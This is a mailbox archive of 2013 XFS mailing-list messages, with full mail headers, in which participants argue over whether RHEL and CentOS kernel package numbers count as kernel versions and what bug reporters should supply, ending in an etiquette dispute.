EC16C1F00535 for ; Mon, 29 Jul 2013 10:36:43 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id LkStE0NNoM3B for ; Mon, 29 Jul 2013 10:36:39 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id E3F2D1F0046E for ; Mon, 29 Jul 2013 10:36:39 -0400 (EDT) Date: Mon, 29 Jul 2013 10:36:39 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <24152742.2528.1375108599905.JavaMail.root@benjamin.baylink.com> In-Reply-To: <4422459.2522.1375107885083.JavaMail.root@benjamin.baylink.com> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.63.95] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375108604 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ----- Original Message ----- > From: "Jay Ashworth" > > From: "Dave Chinner" > > > The "version" of XFS that you are running is that of the > > kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. > > Those aren't kernel versions; those are kernel *package* versions. > > Kernel versions are w.x.y or w.x.y.z. And as a further followup: it matters which kernel tree you're talking about too. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From sandeen@sandeen.net Mon Jul 29 09:57:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6641F7F3F for ; Mon, 29 Jul 2013 09:57:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4F60B8F804C for ; Mon, 29 Jul 2013 07:57:23 -0700 (PDT) X-ASG-Debug-ID: 1375109841-04cb6c2e9c1d8690001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 0GO1OLOQYoQwFSDR for ; Mon, 29 Jul 2013 07:57:21 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator.local (c-98-240-249-49.hsd1.mn.comcast.net [98.240.249.49]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5B7E06824C2E; Mon, 29 Jul 2013 09:57:17 -0500 (CDT) Message-ID: <51F682CC.1080100@sandeen.net> Date: Mon, 29 Jul 2013 09:57:16 -0500 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20130620 Thunderbird/17.0.7 MIME-Version: 1.0 To: Jay Ashworth CC: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <4422459.2522.1375107885083.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <4422459.2522.1375107885083.JavaMail.root@benjamin.baylink.com> X-Enigmail-Version: 1.5.2 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1375109841 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137407 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 7/29/13 9:24 AM, Jay Ashworth wrote: > ----- Original Message ----- >> From: "Dave Chinner" > >> The "version" of XFS that you are running is that of the >> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. > > Those aren't kernel versions; those are kernel *package* versions. Those are RHEL kernel version numbers, which 100% uniquely identify the code contained in those kernels. > Kernel versions are w.x.y or w.x.y.z. ^Upstream. -Eric > Cheers, > -- jra > From dhoworth@mrc-lmb.cam.ac.uk Mon Jul 29 10:25:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C12197F3F for ; Mon, 29 Jul 2013 10:25:06 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9F1FA304043 for ; Mon, 29 Jul 2013 08:25:06 -0700 (PDT) X-ASG-Debug-ID: 1375111503-04cbb02c3c1d9d40001-NocioJ Received: from ppsw-33.csi.cam.ac.uk (ppsw-33.csi.cam.ac.uk [131.111.8.133]) by cuda.sgi.com with ESMTP id TFoMHPNSQzi8ONbq for ; Mon, 29 Jul 2013 08:25:03 -0700 (PDT) X-Barracuda-Envelope-From: dhoworth@mrc-lmb.cam.ac.uk X-Barracuda-Apparent-Source-IP: 131.111.8.133 X-Cam-AntiVirus: no malware found X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ Received: from nat.mrc-lmb.cam.ac.uk ([131.111.85.79]:31023 helo=mail.lmb.internal) by ppsw-33.csi.cam.ac.uk (ppsw.cam.ac.uk [131.111.8.137]:25) with esmtp id 1V3pJn-0004FH-hI (Exim 4.80_167-5a66dd3) for xfs@oss.sgi.com (return-path ); Mon, 29 Jul 2013 16:25:03 +0100 Received: from cpepc210-3.lmb.internal ([10.21.64.91]) by mail.lmb.internal with esmtp (Exim 4.63) (envelope-from ) id 1V3pJn-0003cx-5V for xfs@oss.sgi.com; Mon, 29 Jul 2013 16:25:03 +0100 Message-ID: <51F68952.8020603@mrc-lmb.cam.ac.uk> Date: Mon, 29 Jul 2013 16:25:06 +0100 From: Dave Howorth Organization: MRC Laboratory for Molecular Biology User-Agent: Thunderbird 1.5.0.10 (X11/20060911) MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) References: <22688573.2526.1375108427119.JavaMail.root@benjamin.baylink.com> X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) In-Reply-To: <22688573.2526.1375108427119.JavaMail.root@benjamin.baylink.com> Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ppsw-33.csi.cam.ac.uk[131.111.8.133] X-Barracuda-Start-Time: 1375111503 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 Jay Ashworth wrote: > I really do apologize for sounding so combative about this stuff; I'm not really > trying to be, but "things have version numbers" has been best practice for 3 > decades for a reason, and I think it's a pretty good one: avoiding fights like > this. I think you're missing a fundamental point. If you go back and look at what you've quoted, you've been asked e.g. for which kernel you're running, rather than what kernel version, because a kernel doesn't really have a version either. As you yourself have pointed out there are package versions. There are multiple trees and within each tree somebody may have chosen to apply or not particular patches. So the easiest way for a non-expert to describe the kernel they're using is most likely to name a distro and release, plus whatever updates have been applied. A distro-expert can translate that into the general age of the code and the commit numbers of the exact patches that have been applied if necessary. And that's why the FAQ http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F asks people to report the uname -a amongst a lot of other stuff. So arguing about semantics of whether or not there are or should be version numbers for various things is a bit pointless. And as well as being combative, it's also insulting to the good folks that are trying to help you, IMHO. They've set up a reporting system to give them the best chance of accurately diagnosing problems with minimal wasted time. So most people who want to solve problems are happy to go along with that procedure, instead of going out of their way to challenge it. If you really care about this issue and believe that it is significant, then I think you need to go away and do a bunch of quiet research until you understand it deeply, and then come back with specific, detailed proposals to improve it. Otherwise, it's better to let it rest, IMHO. From jra@baylink.com Mon Jul 29 10:30:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 95B677F3F for ; Mon, 29 Jul 2013 10:30:16 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3CBD3AC002 for ; Mon, 29 Jul 2013 08:30:13 -0700 (PDT) X-ASG-Debug-ID: 1375111809-04bdf02f231e00a0001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 0BxqHsS4CjBCxpvN for ; Mon, 29 Jul 2013 08:30:11 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id 684701F0019D for ; Mon, 29 Jul 2013 11:30:08 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id t7Zxnmsn-10B for ; Mon, 29 Jul 2013 11:30:02 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 354EC1F00532 for ; Mon, 29 Jul 2013 11:30:02 -0400 (EDT) Date: Mon, 29 Jul 2013 11:30:02 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <15781090.2540.1375111802121.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F682CC.1080100@sandeen.net> Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) MIME-Version: 1.0 X-ASG-Orig-Subj: Re: A short digression on FOSS (Re: understanding speculative preallocation) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.63.95] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375111810 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 ----- Original Message ----- > From: "Eric Sandeen" > >> From: "Dave Chinner" > > > >> The "version" of XFS that you are running is that of the > >> kernel you are running. i.e. 2.6.32-279.x.y or 2.6.32-358.x.y. > > > > Those aren't kernel versions; those are kernel *package* versions. > > Those are RHEL kernel version numbers, which 100% uniquely identify > the code contained in those kernels. So how, Eric, would that help, say, SuSE users -- which the XFS website makes special note to point out that there's a specific agreement in place to support. Even SLES users vice openSUSE, though the XFS.org website doesn't make that distinction. I'm sticking with "those are kernel package versions", and I was yelled at the other day because I was interested in things that weren't "mainline kernel versions". RHEL kernels are the *best available example* of "not a mainline kernel version", so I find these conflicting reports most conflicting. > > Kernel versions are w.x.y or w.x.y.z. > > ^Upstream. "Mainline". Which was not my choice of term. Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From dhoworth@mrc-lmb.cam.ac.uk Mon Jul 29 11:07:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 66A377F3F for ; Mon, 29 Jul 2013 11:07:39 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D8E03AC003 for ; Mon, 29 Jul 2013 09:07:35 -0700 (PDT) X-ASG-Debug-ID: 1375114046-04cbb02c3b1dd210001-NocioJ Received: from ppsw-32.csi.cam.ac.uk (ppsw-32.csi.cam.ac.uk [131.111.8.132]) by cuda.sgi.com with ESMTP id U2oBKiC36gsfS8jn for ; Mon, 29 Jul 2013 09:07:26 -0700 (PDT) X-Barracuda-Envelope-From: dhoworth@mrc-lmb.cam.ac.uk X-Barracuda-Apparent-Source-IP: 131.111.8.132 X-Cam-AntiVirus: no malware found X-Cam-ScannerInfo: http://www.cam.ac.uk/cs/email/scanner/ Received: from nat.mrc-lmb.cam.ac.uk ([131.111.85.79]:26997 helo=mail.lmb.internal) by ppsw-32.csi.cam.ac.uk (ppsw.cam.ac.uk [131.111.8.136]:25) with esmtp id 1V3pyo-0005ye-0U (Exim 4.80_167-5a66dd3) for xfs@oss.sgi.com (return-path ); Mon, 29 Jul 2013 17:07:26 +0100 Received: from cpepc210-3.lmb.internal ([10.21.64.91]) by mail.lmb.internal with esmtp (Exim 4.63) (envelope-from ) id 1V3pyo-0002OO-1K for xfs@oss.sgi.com; Mon, 29 Jul 2013 17:07:26 +0100 Message-ID: <51F69340.2040606@mrc-lmb.cam.ac.uk> Date: Mon, 29 Jul 2013 17:07:28 +0100 From: Dave Howorth Organization: MRC Laboratory for Molecular Biology User-Agent: Thunderbird 1.5.0.10 (X11/20060911) MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] Content-Type: text/plain; charset=utf-8 X-ASG-Orig-Subj: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ppsw-32.csi.cam.ac.uk[131.111.8.132] X-Barracuda-Start-Time: 1375114046 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137408 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 Please keep the conversation on list To me now it sounds like you're just trolling, though I suspect you don't intend that. I really do suggest you take some time to forget about this topic and come back to it in a few days with a clear head and reread it all. Then decide whether it's worth pursuing. -------- Original Message -------- Subject: Re: A short digression on FOSS (Re: understanding speculative preallocation) Date: Mon, 29 Jul 2013 11:36:29 -0400 (EDT) From: Jay Ashworth To: Dave Howorth [ off list ] ----- Original Message ----- > From: "Dave Howorth" > So the easiest way for a non-expert to describe the kernel they're using > is most likely to name a distro and release, plus whatever updates have > been applied. A distro-expert can translate that into the general age of > the code and the commit numbers of the exact patches that have been > applied if necessary. And that's why the FAQ > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > asks people to report the uname -a amongst a lot of other stuff. That's all well and good, Dave, but I've spent the last 72 hours with Stan tearing my face off precisely over his assertion that *the experts in question won't be interested in doing that*: it should be *my* responsiility. If they're going to make us do the work -- and this seems the assertion Stan, Eric and others are making, pretty vehemently -- they need to give us *an end game*; a question to be asking. Or researching. The specific issue was "we don't like CentOS cause we work for RH and they ripped us off". Aside from "if you think they ripped you off, then you don't understand FOSS well enough to be making money from it", *the CentOS kernel package names are the exact same as the RHEL packages*; CentOS makes a point of this being true because modules have to match up. So that seems like a red herring too. The short version of this is: We're trying to help them to help us, and they seem to be making that as difficult as humanly possible, and I can't understand why. As I said: if the kernel builder is checking out a GIT pull to build the modules for a given kernel SRPM, than that's what I *expect* Dave et al to want to know, and I can deal with go getting that number somehow. But why won't anyone actually *say* that? Cheers, -- jra -- Jay R. Ashworth Baylink jra@baylink.com Designer The Things I Think RFC 2100 Ashworth & Associates http://baylink.pitas.com 2000 Land Rover DII St Petersburg FL USA #natog +1 727 647 1274 From joe.landman@gmail.com Mon Jul 29 11:51:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6CAB27F3F for ; Mon, 29 Jul 2013 11:51:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4CCC48F8049 for ; Mon, 29 Jul 2013 09:51:29 -0700 (PDT) X-ASG-Debug-ID: 1375116687-04cb6c2e9f1e14a0001-NocioJ Received: from mail-vc0-f177.google.com (mail-vc0-f177.google.com [209.85.220.177]) by cuda.sgi.com with ESMTP id e3qIQ58wxVcybV49 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 29 Jul 2013 09:51:28 -0700 (PDT) X-Barracuda-Envelope-From: joe.landman@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.220.177 X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] Received: by mail-vc0-f177.google.com with SMTP id gf12so2269040vcb.36 for ; Mon, 29 Jul 2013 09:51:27 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] X-Barracuda-IPDD: Level1 [gmail.com/209.85.220.177] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=message-id:date:from:user-agent:mime-version:to:subject:references :in-reply-to:content-type:content-transfer-encoding; bh=Q3qjHoR/Cvc1Nqbcv9LZrUn0nzf4HYMAUKGZXXiO66U=; b=iv04bCbssXSUcGXKXAIzDNGGzfZTce+13ThC6K8fgDMZAH/BUhWiMd+SKjNwxILqOn 9clwgA0BAF1KJeVwoxEJG0JryiRku+OI/n1pa7NJFwRk2pIgFN+uRL3j2ugXzGOZqJDC s/0Bvxge9ysNQN2VTMBJSLo5NZg4e/ylGR2196L83T4h5NVSVwMOH32islwqGC+fjzQE X5FIgRePwoH5BUbpepWjUNqmTVzg/6FAVUdiE6fA6pai+n4my8GeimdoRxkxSG+1szUb 3tSzjd/Wq5iBjHTVuMtYpMbU5khjOjUljO6fvvDc/4WUJm3bnsAVLrQ3C8ee5hHHMAkj fx5A== X-Received: by 10.220.145.132 with SMTP id d4mr8758279vcv.9.1375116687660; Mon, 29 Jul 2013 09:51:27 -0700 (PDT) Received: from [192.168.5.50] ([70.88.96.213]) by mx.google.com with ESMTPSA id p5sm26995884vek.1.2013.07.29.09.51.26 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 29 Jul 2013 09:51:26 -0700 (PDT) Message-ID: <51F69D7F.5070507@gmail.com> Date: Mon, 29 Jul 2013 12:51:11 -0400 From: Joe Landman User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130623 Thunderbird/17.0.7 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] References: <51F69340.2040606@mrc-lmb.cam.ac.uk> X-ASG-Orig-Subj: Re: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] In-Reply-To: <51F69340.2040606@mrc-lmb.cam.ac.uk> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-vc0-f177.google.com[209.85.220.177] X-Barracuda-Start-Time: 1375116688 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 07/29/2013 12:07 PM, Dave Howorth wrote: [Actually this is Jay's wording, quoting is strange in Thunderbird] [...] > That's all well and good, Dave, but I've spent the last 72 hours with Stan > tearing my face off precisely over his assertion that *the experts in > question won't be interested in doing that*: it should be *my* > responsiility. I think we've isolated the issue right there. If you look over the history of this list, you can find that this represents their MO. If you keep that in mind as you read/write/post/respond, you will have a better sense as to whom to respond to and ask questions of, and listen to. I don't have time for net.arguments, so I largely ignore people whom are best not responded to. Eric and Dave are giving you good advice and information. It behooves you to listen to that. But as Dave pointed out, some time away from this, to let emotional levels drop, and then a judicious application of filtration is well worth your time. From jra@baylink.com Mon Jul 29 11:56:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E914C7F3F for ; Mon, 29 Jul 2013 11:56:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 639F4AC003 for ; Mon, 29 Jul 2013 09:56:04 -0700 (PDT) X-ASG-Debug-ID: 1375116959-04cb6c2e9d1e1920001-NocioJ Received: from benjamin.baylink.com (rrcs-24-129-180-187.se.biz.rr.com [24.129.180.187]) by cuda.sgi.com with ESMTP id 9m0fkwGSI29EU4nt for ; Mon, 29 Jul 2013 09:55:59 -0700 (PDT) X-Barracuda-Envelope-From: jra@baylink.com X-Barracuda-Apparent-Source-IP: 24.129.180.187 Received: from localhost (localhost.localdomain [127.0.0.1]) by benjamin.baylink.com (Postfix) with ESMTP id DB53D1F005BE for ; Mon, 29 Jul 2013 12:55:58 -0400 (EDT) X-Virus-Scanned: amavisd-new at benjamin.baylink.com Received: from benjamin.baylink.com ([127.0.0.1]) by localhost (benjamin.baylink.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id dg1YwExBDjf9 for ; Mon, 29 Jul 2013 12:55:55 -0400 (EDT) Received: from benjamin.baylink.com (benjamin.baylink.com [192.168.253.10]) by benjamin.baylink.com (Postfix) with ESMTP id 26CA51F004A4 for ; Mon, 29 Jul 2013 12:55:55 -0400 (EDT) Date: Mon, 29 Jul 2013 12:55:55 -0400 (EDT) From: Jay Ashworth To: xfs@oss.sgi.com Message-ID: <7514012.2548.1375116955021.JavaMail.root@benjamin.baylink.com> In-Reply-To: <51F69340.2040606@mrc-lmb.cam.ac.uk> Subject: Re: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [107.41.63.95] X-Mailer: Zimbra 6.0.9_GA_2686 (ZimbraWebClient - SAF3 (Win)/6.0.9_GA_2686) X-Barracuda-Connect: rrcs-24-129-180-187.se.biz.rr.com[24.129.180.187] X-Barracuda-Start-Time: 1375116959 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137411 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 Please do not move private replies back on list without permission; that's been poor mailing list etiquette since at least 1982. I'm *officially* done now; Dave: your partisans are cranks, and you need to get them in hand. Cheers, -- jra ----- Original Message ----- > From: "Dave Howorth" > To: xfs@oss.sgi.com > Sent: Monday, July 29, 2013 12:07:28 PM > Subject: [Fwd: Re: A short digression on FOSS (Re: understanding speculative preallocation)] > Please keep the conversation on list > > To me now it sounds like you're just trolling, though I suspect you > don't intend that. I really do suggest you take some time to forget > about this topic and come back to it in a few days with a clear head > and > reread it all. Then decide whether it's worth pursuing. > > -------- Original Message -------- > Subject: Re: A short digression on FOSS (Re: understanding speculative > preallocation) > Date: Mon, 29 Jul 2013 11:36:29 -0400 (EDT) > From: Jay Ashworth > To: Dave Howorth > > [ off list ] > > ----- Original Message ----- > > From: "Dave Howorth" > > > So the easiest way for a non-expert to describe the kernel they're > > using > > is most likely to name a distro and release, plus whatever updates > > have > > been applied. A distro-expert can translate that into the general > > age of > > the code and the commit numbers of the exact patches that have been > > applied if necessary. And that's why the FAQ > > > > http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F > > > > asks people to report the uname -a amongst a lot of other stuff. > > That's all well and good, Dave, but I've spent the last 72 hours with > Stan > tearing my face off precisely over his assertion that *the experts in > question won't be interested in doing that*: it should be *my* > responsiility. > > If they're going to make us do the work -- and this seems the > assertion > Stan, > Eric and others are making, pretty vehemently -- they need to give us > *an > end game*; a question to be asking. Or researching. > > The specific issue was "we don't like CentOS cause we work for RH and > they > ripped us off". Aside from "if you think they ripped you off, then you > don't understand FOSS well enough to be making money from it", *the > CentOS > kernel package names are the exact same as the RHEL packages*; CentOS > makes > a point of this being true because modules have to match up. > > So that seems like a red herring too. > > The short version of this is: > > We're trying to help them to help us, and they seem to be making that > as > difficult as humanly possible, and I can't understand why. > > As I said: if the kernel builder is checking out a GIT pull to build > the > modules for a given kernel SRPM, than that's what I *expect* Dave et > al > to want to know, and I can deal with go getting that number somehow. > > But why won't anyone actually *say* that? > > Cheers, > -- jra > -- > Jay R. Ashworth Baylink > jra@baylink.com > Designer The Things I Think > RFC 2100 > Ashworth & Associates http://baylink.pitas.com 2000 Land > Rover DII > St Petersburg FL USA 